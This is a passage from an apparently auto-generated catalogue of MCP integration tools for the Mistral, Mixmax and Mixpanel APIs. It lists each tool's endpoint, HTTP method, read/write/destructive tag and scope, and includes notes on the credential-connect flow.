/api/v1/mistral/v1/observability/datasets/{dataset_id}/records. Scopes: api. mistral_post_v1_observability_judges (write) — Create judge v1 observability judges post via POST /v1/observability/judges POST /api/v1/mistral/v1/observability/judges. Scopes: api. mistral_post_v1_observability_judges_by_judge_id_live_judging (write) — Judge conversation v1 observability judges judge id live judging post via POST /v1/observability/judges/{judge_id}/live-judging POST /api/v1/mistral/v1/observability/judges/{judge_id}/live-judging. Scopes: api. mistral_post_v1_observability_logs_search (write) — Search logs v1 observability logs search post via POST /v1/observability/logs/search POST /api/v1/mistral/v1/observability/logs/search. Scopes: api. mistral_post_v1_observability_spans_aggregate (write) — Aggregate spans v1 observability spans aggregate post via POST /v1/observability/spans/aggregate POST /api/v1/mistral/v1/observability/spans/aggregate. Scopes: api. mistral_post_v1_observability_spans_evaluations_search (write) — Search span evaluations v1 observability spans evaluations search post via POST /v1/observability/spans/evaluations/search POST /api/v1/mistral/v1/observability/spans/evaluations/search. Scopes: api. mistral_post_v1_observability_spans_evaluations_search_latest (write) — Search latest span evaluations v1 observability spans evaluations search latest post via POST /v1/observability/spans/evaluations/search/latest POST /api/v1/mistral/v1/observability/spans/evaluations/search/latest. Scopes: api. mistral_post_v1_observability_spans_search (write) — Search spans v1 observability spans search post via POST /v1/observability/spans/search POST /api/v1/mistral/v1/observability/spans/search. Scopes: api. mistral_post_v1_observability_traces_aggregate (write) — Aggregate traces v1 observability traces aggregate post via POST /v1/observability/traces/aggregate POST /api/v1/mistral/v1/observability/traces/aggregate. Scopes: api. mistral_post_v1_observability_traces_search (write) — Search traces v1 observability traces search post via POST /v1/observability/traces/search POST /api/v1/mistral/v1/observability/traces/search. Scopes: api. mistral_post_v1_ocr (write) — Ocr v1 ocr post via POST /v1/ocr POST /api/v1/mistral/v1/ocr. Scopes: api. mistral_post_v1_workflows_by_workflow_identifier_execute (write) — Execute workflow v1 workflows workflow identifier execute post via POST /v1/workflows/{workflow_identifier}/execute POST /api/v1/mistral/v1/workflows/{workflow_identifier}/execute. Scopes: api. mistral_post_v1_workflows_deployments (write) — Create deployment v1 workflows deployments post via POST /v1/workflows/deployments POST /api/v1/mistral/v1/workflows/deployments. Scopes: api. mistral_post_v1_workflows_deployments_by_name_restart (write) — Restart deployment v1 workflows deployments name restart post via POST /v1/workflows/deployments/{name}/restart POST /api/v1/mistral/v1/workflows/deployments/{name}/restart. Scopes: api. mistral_post_v1_workflows_deployments_by_name_start (write) — Start deployment v1 workflows deployments name start post via POST /v1/workflows/deployments/{name}/start POST /api/v1/mistral/v1/workflows/deployments/{name}/start. Scopes: api. mistral_post_v1_workflows_deployments_by_name_stop (write) — Stop deployment v1 workflows deployments name stop post via POST /v1/workflows/deployments/{name}/stop POST /api/v1/mistral/v1/workflows/deployments/{name}/stop. Scopes: api. mistral_post_v1_workflows_executions_by_execution_id_cancel (write) — Cancel workflow execution v1 workflows executions execution id cancel post via POST /v1/workflows/executions/{execution_id}/cancel POST /api/v1/mistral/v1/workflows/executions/{execution_id}/cancel. Scopes: api. mistral_post_v1_workflows_executions_by_execution_id_queries (write) — Query workflow execution v1 workflows executions execution id queries post via POST /v1/workflows/executions/{execution_id}/queries POST /api/v1/mistral/v1/workflows/executions/{execution_id}/queries. Scopes: api. mistral_post_v1_workflows_executions_by_execution_id_reset (write) — Reset workflow v1 workflows executions execution id reset post via POST /v1/workflows/executions/{execution_id}/reset POST /api/v1/mistral/v1/workflows/executions/{execution_id}/reset. Scopes: api. mistral_post_v1_workflows_executions_by_execution_id_signals (write) — Signal workflow execution v1 workflows executions execution id signals post via POST /v1/workflows/executions/{execution_id}/signals POST /api/v1/mistral/v1/workflows/executions/{execution_id}/signals. Scopes: api. mistral_post_v1_workflows_executions_by_execution_id_terminate (write) — Terminate workflow execution v1 workflows executions execution id terminate post via POST /v1/workflows/executions/{execution_id}/terminate POST /api/v1/mistral/v1/workflows/executions/{execution_id}/terminate. Scopes: api. mistral_post_v1_workflows_executions_by_execution_id_updates (write) — Update workflow execution v1 workflows executions execution id updates post via POST /v1/workflows/executions/{execution_id}/updates POST /api/v1/mistral/v1/workflows/executions/{execution_id}/updates. Scopes: api. mistral_post_v1_workflows_executions_cancel (write) — Batch cancel workflow executions v1 workflows executions cancel post via POST /v1/workflows/executions/cancel POST /api/v1/mistral/v1/workflows/executions/cancel. Scopes: api. mistral_post_v1_workflows_executions_terminate (write) — Batch terminate workflow executions v1 workflows executions terminate post via POST /v1/workflows/executions/terminate POST /api/v1/mistral/v1/workflows/executions/terminate. Scopes: api. mistral_post_v1_workflows_registrations_by_workflow_registration_id_execute (write) — Execute workflow registration v1 workflows registrations workflow registration id execute post via POST /v1/workflows/registrations/{workflow_registration_id}/execute POST /api/v1/mistral/v1/workflows/registrations/{workflow_registration_id}/execute. Scopes: api. mistral_post_v1_workflows_schedules (write) — Schedule workflow v1 workflows schedules post via POST /v1/workflows/schedules POST /api/v1/mistral/v1/workflows/schedules. Scopes: api. mistral_post_v1_workflows_schedules_by_schedule_id_pause (write) — Pause schedule v1 workflows schedules schedule id pause post via POST /v1/workflows/schedules/{schedule_id}/pause POST /api/v1/mistral/v1/workflows/schedules/{schedule_id}/pause. Scopes: api. mistral_post_v1_workflows_schedules_by_schedule_id_resume (write) — Resume schedule v1 workflows schedules schedule id resume post via POST /v1/workflows/schedules/{schedule_id}/resume POST /api/v1/mistral/v1/workflows/schedules/{schedule_id}/resume. Scopes: api. mistral_post_v1_workflows_schedules_by_schedule_id_trigger (write) — Trigger schedule v1 workflows schedules schedule id trigger post via POST /v1/workflows/schedules/{schedule_id}/trigger POST /api/v1/mistral/v1/workflows/schedules/{schedule_id}/trigger. Scopes: api. mistral_post_v2_prompts (write) — Prompts create via POST /v2/prompts POST /api/v1/mistral/v2/prompts. Scopes: api. mistral_post_v2_prompts_by_prompt_id_versions (write) — Prompts create version via POST /v2/prompts/{prompt_id}/versions POST /api/v1/mistral/v2/prompts/{prompt_id}/versions. Scopes: api. mistral_post_v2_skills (write) — Skills create via POST /v2/skills POST /api/v1/mistral/v2/skills. Scopes: api. mistral_post_v2_skills_by_skill_id_versions (write) — Skills create version via POST /v2/skills/{skill_id}/versions POST /api/v1/mistral/v2/skills/{skill_id}/versions. Scopes: api. mistral_put_v1_agents_by_agent_id_aliases (write) — Agents api v1 agents create or update alias via PUT /v1/agents/{agent_id}/aliases PUT /api/v1/mistral/v1/agents/{agent_id}/aliases. Scopes: api. mistral_put_v1_connectors_by_connector_id_share (write) — Connector share v1 via PUT /v1/connectors/{connector_id}/share PUT /api/v1/mistral/v1/connectors/{connector_id}/share. Scopes: api. mistral_put_v1_libraries_by_library_id (write) — Libraries update v1 via PUT /v1/libraries/{library_id} PUT /api/v1/mistral/v1/libraries/{library_id}. Scopes: api. mistral_put_v1_libraries_by_library_id_documents_by_document_id (write) — Libraries documents update v1 via PUT /v1/libraries/{library_id}/documents/{document_id} PUT /api/v1/mistral/v1/libraries/{library_id}/documents/{document_id}. Scopes: api. mistral_put_v1_libraries_by_library_id_share (write) — Libraries share create v1 via PUT /v1/libraries/{library_id}/share PUT /api/v1/mistral/v1/libraries/{library_id}/share. Scopes: api. mistral_put_v1_observability_dataset_records_by_dataset_record_id_payload (write) — Update dataset record payload v1 observability dataset records dataset record id payload put via PUT /v1/observability/dataset-records/{dataset_record_id}/payload PUT /api/v1/mistral/v1/observability/dataset-records/{dataset_record_id}/payload. Scopes: api. mistral_put_v1_observability_dataset_records_by_dataset_record_id_properties (write) — Update dataset record properties v1 observability dataset records dataset record id properties put via PUT /v1/observability/dataset-records/{dataset_record_id}/properties PUT /api/v1/mistral/v1/observability/dataset-records/{dataset_record_id}/properties. Scopes: api. mistral_put_v1_observability_judges_by_judge_id (write) — Update judge v1 observability judges judge id put via PUT /v1/observability/judges/{judge_id} PUT /api/v1/mistral/v1/observability/judges/{judge_id}. Scopes: api. mistral_put_v1_rag_deployments (write) — Register deployment v1 rag deployments put via PUT /v1/rag/deployments PUT /api/v1/mistral/v1/rag/deployments. Scopes: api. mistral_put_v1_rag_deployments_by_deployment_id_metrics (write) — Update index metrics v1 rag deployments deployment id metrics put via PUT /v1/rag/deployments/{deployment_id}/metrics PUT /api/v1/mistral/v1/rag/deployments/{deployment_id}/metrics. Scopes: api. mistral_put_v1_rag_ingestion_pipeline_configurations (write) — Register config v1 rag ingestion pipeline configurations put via PUT /v1/rag/ingestion_pipeline_configurations PUT /api/v1/mistral/v1/rag/ingestion_pipeline_configurations. Scopes: api. mistral_put_v1_rag_ingestion_pipeline_configurations_by_id_run_info (write) — Update run info v1 rag ingestion pipeline configurations id run info put via PUT /v1/rag/ingestion_pipeline_configurations/{id}/run_info PUT /api/v1/mistral/v1/rag/ingestion_pipeline_configurations/{id}/run_info. Scopes: api. mistral_put_v1_workflows_archive (write) — Bulk archive workflows v1 workflows archive put via PUT /v1/workflows/archive PUT /api/v1/mistral/v1/workflows/archive. Scopes: api. mistral_put_v1_workflows_by_workflow_identifier (write) — Update workflow v1 workflows workflow identifier put via PUT /v1/workflows/{workflow_identifier} PUT /api/v1/mistral/v1/workflows/{workflow_identifier}. Scopes: api. mistral_put_v1_workflows_by_workflow_identifier_archive (write) — Archive workflow v1 workflows workflow identifier archive put via PUT /v1/workflows/{workflow_identifier}/archive PUT /api/v1/mistral/v1/workflows/{workflow_identifier}/archive. Scopes: api. mistral_put_v1_workflows_by_workflow_identifier_unarchive (write) — Unarchive workflow v1 workflows workflow identifier unarchive put via PUT /v1/workflows/{workflow_identifier}/unarchive PUT /api/v1/mistral/v1/workflows/{workflow_identifier}/unarchive. Scopes: api. mistral_put_v1_workflows_unarchive (write) — Bulk unarchive workflows v1 workflows unarchive put via PUT /v1/workflows/unarchive PUT /api/v1/mistral/v1/workflows/unarchive. Scopes: api. ================================================================================ ## Mixmax URL: https://www.agenticfabriq.com/integrations/mixmax Section: Integrated Tools Mixmax — 17 MCP tools Provider key: mixmax. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. mixmax_delete_v1_contactgroups_by_id_contacts_by_contactid (write, destructive) — /contactgroups/:id/contacts/:contactId [deprecated] via DELETE /v1/contactgroups/{id}/contacts/{contactId} DELETE /api/v1/mixmax/v1/contactgroups/{id}/contacts/{contactId}. Scopes: api. mixmax_delete_v1_snippettags_by_id (write, destructive) — /snippettags/:id via DELETE /v1/snippettags/{id} DELETE /api/v1/mixmax/v1/snippettags/{id}. Scopes: api. mixmax_get_v1_calls (read) — /calls via GET /v1/calls GET /api/v1/mixmax/v1/calls. Scopes: api. mixmax_get_v1_calls_by_id_transcript (read) — /calls/:id/transcript via GET /v1/calls/{id}/transcript GET /api/v1/mixmax/v1/calls/{id}/transcript. Scopes: api. mixmax_get_v1_contactgroups (read) — /contactgroups [deprecated] via GET /v1/contactgroups GET /api/v1/mixmax/v1/contactgroups. Scopes: api. mixmax_get_v1_filerequests (read) — /filerequests via GET /v1/filerequests GET /api/v1/mixmax/v1/filerequests. Scopes: api. mixmax_get_v1_meetings_summaries_search (read) — /meetings/summaries/search via GET /v1/meetings/summaries/search GET /api/v1/mixmax/v1/meetings/summaries/search. Scopes: api. mixmax_get_v1_meetings_transcripts_by_id (read) — /meetings/transcripts/:id via GET /v1/meetings/transcripts/{id} GET /api/v1/mixmax/v1/meetings/transcripts/{id}. Scopes: api. mixmax_get_v1_messages_by_id (read) — /messages/:id (GET) via GET /v1/messages/{id} GET /api/v1/mixmax/v1/messages/{id}. Scopes: api. mixmax_get_v1_rules (read) — /rules (webhooks) via GET /v1/rules GET /api/v1/mixmax/v1/rules. Scopes: api. mixmax_get_v1_sequences (read) — /sequences via GET /v1/sequences GET /api/v1/mixmax/v1/sequences. Scopes: api. mixmax_get_v1_snippets (read) — /snippets (aka Templates) via GET /v1/snippets GET /api/v1/mixmax/v1/snippets. Scopes: api. mixmax_patch_v1_contactgroups_by_id (write) — /contactgroups/:id [deprecated] via PATCH /v1/contactgroups/{id} PATCH /api/v1/mixmax/v1/contactgroups/{id}. Scopes: api. mixmax_patch_v1_messages_by_id (write) — /messages/:id (PATCH) via PATCH /v1/messages/{id} PATCH /api/v1/mixmax/v1/messages/{id}. Scopes: api. mixmax_post_v1_messages_by_id_send (write) — /messages/:id/send via POST /v1/messages/{id}/send POST /api/v1/mixmax/v1/messages/{id}/send. Scopes: api. mixmax_post_v1_reports_data_table (write) — /reports/data/table via POST /v1/reports/data/table POST /api/v1/mixmax/v1/reports/data/table. Scopes: api. mixmax_post_v1_teams (write) — /teams via POST /v1/teams POST /api/v1/mixmax/v1/teams. Scopes: api. ================================================================================ ## Mixpanel URL: https://www.agenticfabriq.com/integrations/mixpanel Section: Integrated Tools Mixpanel — 85 MCP tools Provider key: mixpanel. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. mixpanel_delete_data_deletions_v3_0_by_tracking_id (write, destructive) — Delete deletion (App API) via DELETE /data-deletions/v3.0/{tracking_id} DELETE /api/v1/mixpanel/api/app/data-deletions/v3.0/{tracking_id}. Scopes: api. mixpanel_delete_organizations_by_organizationid_service_accounts_by_serviceaccountid (write, destructive) — Delete service account (App API) via DELETE /organizations/{organizationId}/service-accounts/{serviceAccountId} DELETE /api/v1/mixpanel/api/app/organizations/{organizationId}/service-accounts/{serviceAccountId}. Scopes: api. mixpanel_delete_projects_by_project_id_workspaces_by_workspace_id_feature_flags_by_flag_id (write, destructive) — Delete feature flag (App API) via DELETE /projects/{project_id}/workspaces/{workspace_id}/feature-flags/{flag_id} DELETE /api/v1/mixpanel/api/app/projects/{project_id}/workspaces/{workspace_id}/feature-flags/{flag_id}. Scopes: api. mixpanel_delete_projects_by_projectid_annotations_by_annotationid (write, destructive) — Delete annotation (App API) via DELETE /projects/{projectId}/annotations/{annotationId} DELETE /api/v1/mixpanel/api/app/projects/{projectId}/annotations/{annotationId}. Scopes: api. mixpanel_delete_projects_by_projectid_schemas (write, destructive) — Delete all schemas in project (App API) via DELETE /projects/{projectId}/schemas DELETE /api/v1/mixpanel/api/app/projects/{projectId}/schemas. Scopes: api. mixpanel_delete_projects_by_projectid_schemas_by_entitytype (write, destructive) — Delete schemas for entity (App API) via DELETE /projects/{projectId}/schemas/{entityType} DELETE /api/v1/mixpanel/api/app/projects/{projectId}/schemas/{entityType}. Scopes: api. mixpanel_delete_projects_by_projectid_schemas_by_entitytype_by_name (write, destructive) — Delete schema by entity and name (App API) via DELETE /projects/{projectId}/schemas/{entityType}/{name} DELETE /api/v1/mixpanel/api/app/projects/{projectId}/schemas/{entityType}/{name}. Scopes: api. mixpanel_delete_projects_by_projectid_warehouse_sources_imports_by_importid (write, destructive) — Delete warehouse import (App API) via DELETE /projects/{projectId}/warehouse-sources/imports/{importId} DELETE /api/v1/mixpanel/api/app/projects/{projectId}/warehouse-sources/imports/{importId}. Scopes: api. mixpanel_delete_workspaces_by_workspace_id_experiments_by_experiment_id (write, destructive) — Delete experiment (App API) via DELETE /workspaces/{workspace_id}/experiments/{experiment_id} DELETE /api/v1/mixpanel/api/app/workspaces/{workspace_id}/experiments/{experiment_id}. Scopes: api. mixpanel_delete_workspaces_by_workspace_id_experiments_by_experiment_id_archive (write, destructive) — Unarchive experiment (App API) via DELETE /workspaces/{workspace_id}/experiments/{experiment_id}/archive DELETE /api/v1/mixpanel/api/app/workspaces/{workspace_id}/experiments/{experiment_id}/archive. Scopes: api. mixpanel_get_data_deletions_v3_0_by_tracking_id (read) — Get deletion (App API) via GET /data-deletions/v3.0/{tracking_id} GET /api/v1/mixpanel/api/app/data-deletions/v3.0/{tracking_id}. Scopes: api. mixpanel_get_data_retrievals_v3_0_by_tracking_id (read) — Get retrieval (App API) via GET /data-retrievals/v3.0/{tracking_id} GET /api/v1/mixpanel/api/app/data-retrievals/v3.0/{tracking_id}. Scopes: api. mixpanel_get_events (read) — List recent events (Query API) via GET /events GET /api/v1/mixpanel/api/query/events. Scopes: api. mixpanel_get_events_names (read) — Query months top event names (Query API) via GET /events/names GET /api/v1/mixpanel/api/query/events/names. Scopes: api. mixpanel_get_events_properties (read) — Query event properties (Query API) via GET /events/properties GET /api/v1/mixpanel/api/query/events/properties. Scopes: api. mixpanel_get_events_properties_top (read) — Query events top properties (Query API) via GET /events/properties/top GET /api/v1/mixpanel/api/query/events/properties/top. Scopes: api. mixpanel_get_events_properties_values (read) — Query events top property values (Query API) via GET /events/properties/values GET /api/v1/mixpanel/api/query/events/properties/values. Scopes: api. mixpanel_get_events_top (read) — Query top events (Query API) via GET /events/top GET /api/v1/mixpanel/api/query/events/top. Scopes: api. mixpanel_get_export (read) — Raw event export (Data API) via GET /export GET /api/v1/mixpanel/api/2.0/export. Scopes: api. mixpanel_get_flags (read) — Get variant assignments (Feature Flags API) via GET /flags GET /api/v1/mixpanel/flags. Scopes: api. mixpanel_get_flags_definitions (read) — Get flag definitions (Feature Flags API) via GET /flags/definitions GET /api/v1/mixpanel/flags/definitions. Scopes: api. mixpanel_get_funnels (read) — Funnels query (Query API) via GET /funnels GET /api/v1/mixpanel/api/query/funnels. Scopes: api. mixpanel_get_funnels_list (read) — Funnels list saved (Query API) via GET /funnels/list GET /api/v1/mixpanel/api/query/funnels/list. Scopes: api. mixpanel_get_insights (read) — Insights query (Query API) via GET /insights GET /api/v1/mixpanel/api/query/insights. Scopes: api. mixpanel_get_lookup_tables (read) — List lookup tables (Ingestion API) via GET /lookup-tables GET /api/v1/mixpanel/lookup-tables. Scopes: api. mixpanel_get_nessie_pipeline_jobs (read) — List warehouse pipeline jobs (Data API) via GET /nessie/pipeline/jobs GET /api/v1/mixpanel/api/2.0/nessie/pipeline/jobs. Scopes: api. mixpanel_get_nessie_pipeline_status (read) — Get warehouse pipeline status (Data API) via GET /nessie/pipeline/status GET /api/v1/mixpanel/api/2.0/nessie/pipeline/status. Scopes: api. mixpanel_get_nessie_pipeline_timeline (read) — List warehouse pipeline sync dates (Data API) via GET /nessie/pipeline/timeline GET /api/v1/mixpanel/api/2.0/nessie/pipeline/timeline. Scopes: api. mixpanel_get_organizations_by_organizationid_service_accounts (read) — List service accounts (App API) via GET /organizations/{organizationId}/service-accounts GET /api/v1/mixpanel/api/app/organizations/{organizationId}/service-accounts. Scopes: api. mixpanel_get_organizations_by_organizationid_service_accounts_by_serviceaccountid (read) — Get service account (App API) via GET /organizations/{organizationId}/service-accounts/{serviceAccountId} GET /api/v1/mixpanel/api/app/organizations/{organizationId}/service-accounts/{serviceAccountId}. Scopes: api. mixpanel_get_projects_by_project_id_workspaces_by_workspace_id_feature_flags (read) — List feature flags (App API) via GET /projects/{project_id}/workspaces/{workspace_id}/feature-flags GET /api/v1/mixpanel/api/app/projects/{project_id}/workspaces/{workspace_id}/feature-flags. Scopes: api. mixpanel_get_projects_by_project_id_workspaces_by_workspace_id_feature_flags_by_flag_id (read) — Get feature flag (App API) via GET /projects/{project_id}/workspaces/{workspace_id}/feature-flags/{flag_id} GET /api/v1/mixpanel/api/app/projects/{project_id}/workspaces/{workspace_id}/feature-flags/{flag_id}. Scopes: api. mixpanel_get_projects_by_projectid_annotations (read) — List all annotations for project (App API) via GET /projects/{projectId}/annotations GET /api/v1/mixpanel/api/app/projects/{projectId}/annotations. Scopes: api. mixpanel_get_projects_by_projectid_annotations_by_annotationid (read) — Get annotation (App API) via GET /projects/{projectId}/annotations/{annotationId} GET /api/v1/mixpanel/api/app/projects/{projectId}/annotations/{annotationId}. Scopes: api. mixpanel_get_projects_by_projectid_annotations_tags (read) — Get annotation tags (App API) via GET /projects/{projectId}/annotations/tags GET /api/v1/mixpanel/api/app/projects/{projectId}/annotations/tags. Scopes: api. mixpanel_get_projects_by_projectid_schemas (read) — List all schemas for project (App API) via GET /projects/{projectId}/schemas GET /api/v1/mixpanel/api/app/projects/{projectId}/schemas. Scopes: api. mixpanel_get_projects_by_projectid_schemas_by_entitytype (read) — List schemas for entity (App API) via GET /projects/{projectId}/schemas/{entityType} GET /api/v1/mixpanel/api/app/projects/{projectId}/schemas/{entityType}. Scopes: api. mixpanel_get_projects_by_projectid_schemas_by_entitytype_by_name (read) — List schemas by entity and name (App API) via GET /projects/{projectId}/schemas/{entityType}/{name} GET /api/v1/mixpanel/api/app/projects/{projectId}/schemas/{entityType}/{name}. Scopes: api. mixpanel_get_projects_by_projectid_service_accounts (read) — List project service accounts (App API) via GET /projects/{projectId}/service-accounts GET /api/v1/mixpanel/api/app/projects/{projectId}/service-accounts. Scopes: api. mixpanel_get_projects_by_projectid_warehouse_sources_imports (read) — List warehouse imports (App API) via GET /projects/{projectId}/warehouse-sources/imports GET /api/v1/mixpanel/api/app/projects/{projectId}/warehouse-sources/imports. Scopes: api. mixpanel_get_projects_by_projectid_warehouse_sources_imports_by_importid (read) — Get warehouse import (App API) via GET /projects/{projectId}/warehouse-sources/imports/{importId} GET /api/v1/mixpanel/api/app/projects/{projectId}/warehouse-sources/imports/{importId}. Scopes: api. mixpanel_get_projects_by_projectid_warehouse_sources_imports_by_importid_history (read) — Get import history (App API) via GET /projects/{projectId}/warehouse-sources/imports/{importId}/history GET /api/v1/mixpanel/api/app/projects/{projectId}/warehouse-sources/imports/{importId}/history. Scopes: api. mixpanel_get_retention (read) — Retention query (Query API) via GET /retention GET /api/v1/mixpanel/api/query/retention. Scopes: api. mixpanel_get_retention_addiction (read) — Retention frequency query (Query API) via GET /retention/addiction GET /api/v1/mixpanel/api/query/retention/addiction. Scopes: api. mixpanel_get_segmentation (read) — Segmentation query (Query API) via GET /segmentation GET /api/v1/mixpanel/api/query/segmentation. Scopes: api. mixpanel_get_segmentation_average (read) — Segmentation query average (Query API) via GET /segmentation/average GET /api/v1/mixpanel/api/query/segmentation/average. Scopes: api. mixpanel_get_segmentation_numeric (read) — Segmentation numeric query (Query API) via GET /segmentation/numeric GET /api/v1/mixpanel/api/query/segmentation/numeric. Scopes: api. mixpanel_get_segmentation_sum (read) — Segmentation sum query (Query API) via GET /segmentation/sum GET /api/v1/mixpanel/api/query/segmentation/sum. Scopes: api. mixpanel_get_stream_query (read) — Activity stream query (Query API) via GET /stream/query GET /api/v1/mixpanel/api/query/stream/query. Scopes: api. mixpanel_get_workspaces_by_workspace_id_experiments (read) — List experiments (App API) via GET /workspaces/{workspace_id}/experiments GET /api/v1/mixpanel/api/app/workspaces/{workspace_id}/experiments. Scopes: api. mixpanel_get_workspaces_by_workspace_id_experiments_by_experiment_id (read) — Get experiment (App API) via GET /workspaces/{workspace_id}/experiments/{experiment_id} GET /api/v1/mixpanel/api/app/workspaces/{workspace_id}/experiments/{experiment_id}. Scopes: api. mixpanel_patch_projects_by_projectid_annotations_by_annotationid (write) — Patch annotation (App API) via PATCH /projects/{projectId}/annotations/{annotationId} PATCH /api/v1/mixpanel/api/app/projects/{projectId}/annotations/{annotationId}. Scopes: api. mixpanel_patch_projects_by_projectid_warehouse_sources_imports_by_importid (write) — Update warehouse import (App API) via PATCH /projects/{projectId}/warehouse-sources/imports/{importId} PATCH /api/v1/mixpanel/api/app/projects/{projectId}/warehouse-sources/imports/{importId}. Scopes: api. mixpanel_patch_workspaces_by_workspace_id_experiments_by_experiment_id (write) — Update experiment (App API) via PATCH /workspaces/{workspace_id}/experiments/{experiment_id} PATCH /api/v1/mixpanel/api/app/workspaces/{workspace_id}/experiments/{experiment_id}. Scopes: api. mixpanel_patch_workspaces_by_workspace_id_experiments_by_experiment_id_decide (write) — Decide experiment (App API) via PATCH /workspaces/{workspace_id}/experiments/{experiment_id}/decide PATCH /api/v1/mixpanel/api/app/workspaces/{workspace_id}/experiments/{experiment_id}/decide. Scopes: api. mixpanel_post_cohorts_list (write) — Cohorts list (Query API) via POST /cohorts/list POST /api/v1/mixpanel/api/query/cohorts/list. Scopes: api. mixpanel_post_data_deletions_v3_0 (write) — Create deletion (App API) via POST /data-deletions/v3.0 POST /api/v1/mixpanel/api/app/data-deletions/v3.0. Scopes: api. mixpanel_post_data_retrievals_v3_0 (write) — Create retrieval (App API) via POST /data-retrievals/v3.0 POST /api/v1/mixpanel/api/app/data-retrievals/v3.0. Scopes: api. mixpanel_post_engage (write) — Engage query (Query API) via POST /engage POST /api/v1/mixpanel/api/query/engage. Scopes: api. mixpanel_post_import (write) — Import events (bulk) (Ingestion API) via POST /import. Bulk historical event import; also the endpoint an $identity_merge event is sent to, which is why Mixpanel's identity spec titles this operation identity-merge. BILLABLE: every imported event counts against the project's quota. Authenticates with the connection's service account. POST /api/v1/mixpanel/import. Scopes: api. mixpanel_post_jql (write) — Query jql (Query API) via POST /jql POST /api/v1/mixpanel/api/query/jql. Scopes: api. mixpanel_post_nessie_pipeline_cancel (write) — Cancel warehouse pipeline (Data API) via POST /nessie/pipeline/cancel POST /api/v1/mixpanel/api/2.0/nessie/pipeline/cancel. Scopes: api. mixpanel_post_nessie_pipeline_create (write) — Create warehouse pipeline (Data API) via POST /nessie/pipeline/create POST /api/v1/mixpanel/api/2.0/nessie/pipeline/create. Scopes: api. mixpanel_post_nessie_pipeline_edit (write) — Edit warehouse pipeline (Data API) via POST /nessie/pipeline/edit POST /api/v1/mixpanel/api/2.0/nessie/pipeline/edit. Scopes: api. mixpanel_post_nessie_pipeline_pause (write) — Pause warehouse pipeline (Data API) via POST /nessie/pipeline/pause POST /api/v1/mixpanel/api/2.0/nessie/pipeline/pause. Scopes: api. mixpanel_post_nessie_pipeline_resume (write) — Resume warehouse pipeline (Data API) via POST /nessie/pipeline/resume POST /api/v1/mixpanel/api/2.0/nessie/pipeline/resume. Scopes: api. mixpanel_post_organizations_by_organizationid_service_accounts (write) — Create service account (App API) via POST /organizations/{organizationId}/service-accounts POST /api/v1/mixpanel/api/app/organizations/{organizationId}/service-accounts. Scopes: api. mixpanel_post_organizations_by_organizationid_service_accounts_add_to_project (write) — Add service accounts to projects (App API) via POST /organizations/{organizationId}/service-accounts/add-to-project POST /api/v1/mixpanel/api/app/organizations/{organizationId}/service-accounts/add-to-project. Scopes: api. mixpanel_post_organizations_by_organizationid_service_accounts_remove_from_project (write) — Remove service accounts from projects (App API) via POST /organizations/{organizationId}/service-accounts/remove-from-project POST /api/v1/mixpanel/api/app/organizations/{organizationId}/service-accounts/remove-from-project. Scopes: api. mixpanel_post_projects_by_project_id_workspaces_by_workspace_id_feature_flags (write) — Create feature flag (App API) via POST /projects/{project_id}/workspaces/{workspace_id}/feature-flags POST /api/v1/mixpanel/api/app/projects/{project_id}/workspaces/{workspace_id}/feature-flags. Scopes: api. mixpanel_post_projects_by_projectid_annotations (write) — Create annotation (App API) via POST /projects/{projectId}/annotations POST /api/v1/mixpanel/api/app/projects/{projectId}/annotations. Scopes: api. mixpanel_post_projects_by_projectid_annotations_tags (write) — Create annotation tag (App API) via POST /projects/{projectId}/annotations/tags POST /api/v1/mixpanel/api/app/projects/{projectId}/annotations/tags. Scopes: api. mixpanel_post_projects_by_projectid_schemas (write) — Upload schemas for project (App API) via POST /projects/{projectId}/schemas POST /api/v1/mixpanel/api/app/projects/{projectId}/schemas. Scopes: api. mixpanel_post_projects_by_projectid_schemas_by_entitytype_by_name (write) — Upload schema by entity and name (App API) via POST /projects/{projectId}/schemas/{entityType}/{name} POST /api/v1/mixpanel/api/app/projects/{projectId}/schemas/{entityType}/{name}. Scopes: api. mixpanel_post_projects_by_projectid_warehouse_sources_imports_event_stream (write) — Create event stream import (App API) via POST /projects/{projectId}/warehouse-sources/imports/event-stream POST /api/v1/mixpanel/api/app/projects/{projectId}/warehouse-sources/imports/event-stream. Scopes: api. mixpanel_post_projects_by_projectid_warehouse_sources_imports_groups (write) — Create groups import (App API) via POST /projects/{projectId}/warehouse-sources/imports/groups POST /api/v1/mixpanel/api/app/projects/{projectId}/warehouse-sources/imports/groups. Scopes: api. mixpanel_post_projects_by_projectid_warehouse_sources_imports_lookup_table (write) — Create lookup table import (App API) via POST /projects/{projectId}/warehouse-sources/imports/lookup-table POST /api/v1/mixpanel/api/app/projects/{projectId}/warehouse-sources/imports/lookup-table. Scopes: api. mixpanel_post_projects_by_projectid_warehouse_sources_imports_people (write) — Create people import (App API) via POST /projects/{projectId}/warehouse-sources/imports/people POST /api/v1/mixpanel/api/app/projects/{projectId}/warehouse-sources/imports/people. Scopes: api. mixpanel_post_workspaces_by_workspace_id_experiments (write) — Create experiment (App API) via POST /workspaces/{workspace_id}/experiments POST /api/v1/mixpanel/api/app/workspaces/{workspace_id}/experiments. Scopes: api. mixpanel_post_workspaces_by_workspace_id_experiments_by_experiment_id_archive (write) — Archive experiment (App API) via POST /workspaces/{workspace_id}/experiments/{experiment_id}/archive POST /api/v1/mixpanel/api/app/workspaces/{workspace_id}/experiments/{experiment_id}/archive. Scopes: api. mixpanel_put_lookup_tables_by_id (write) — Replace lookup table (Ingestion API) via PUT /lookup-tables/{id} PUT /api/v1/mixpanel/lookup-tables/{id}. Scopes: api. mixpanel_put_projects_by_project_id_workspaces_by_workspace_id_feature_flags_by_flag_id (write) — Update feature flag (App API) via PUT 